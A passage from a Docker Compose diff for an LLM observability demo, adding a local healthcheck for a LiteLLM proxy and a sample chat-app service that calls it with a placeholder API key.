+ test: ["CMD-SHELL", "python -c \"import urllib.request,sys; sys.exit(0 if urllib.request.urlopen('http://localhost:4000/health/liveliness').status==200 else 1)\" || exit 1"]
+ interval: 5s
+ timeout: 3s
+ retries: 10
+ start_period: 20s
+ restart: always
+
+ # App that calls the LiteLLM proxy via a standard OpenAI client. The
+ # controller discovers the connection to litellm:4000 (once litellm:4000 is
+ # added to custom_llm_hosts on the controller's Agents page) and surfaces this
+ # workload as a Custom LLM Gateway client.
+ litellm-app:
+ build: ../examples/litellm-chat-app
+ container_name: demo-litellm-app
+ profiles: [full]
+ environment:
+ LITELLM_BASE_URL: http://litellm:4000
+ LITELLM_API_KEY: sk-1234
+ MODEL: gpt-4o-mini
+ REQUEST_INTERVAL_SECONDS: "20"
+ restart: unless-stopped
+ depends_on:
+ litellm:
+ condition: service_healthy
+ openlit:
+ condition: service_healthy
+
# SDK-instrumented sample agent.
# Uses openlit.init() to auto-instrument an OpenAI client. An in-process
# OpenAI-compatible mock LLM lets the calls succeed without a real API key,